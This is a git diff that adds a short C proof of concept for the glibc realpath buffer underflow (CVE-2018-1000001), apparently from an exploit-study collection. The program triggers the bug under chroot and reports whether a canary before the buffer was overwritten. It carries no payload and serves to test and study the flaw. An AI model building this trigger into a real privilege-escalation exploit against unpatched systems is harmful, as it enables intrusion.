fix

src/exploit/7.1.5_glibc_2018-1000001/poc.c

@@ -0,0 +1,29 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+
+void main() {
+    char *path;
+
+    struct {
+        char canary[16];
+        char buffer[80];
+    } buf;
+    memset(buf.canary, 47, 1);  // put a '/' before the buffer
+    memset(buf.buffer, 48, sizeof(buf.buffer));
+    
+    //path = getcwd(NULL, 0);
+    //puts(path);
+    
+    chroot("/tmp");
+    //path = getcwd(NULL, 0);
+    //puts(path);
+
+    realpath("../../../../BBBB", buf.buffer);
+    if (!strcmp(buf.canary, "/BBBB")) {
+        puts("Vulnerable");
+    } else {
+        puts("Not vulnerable");
+    }
+}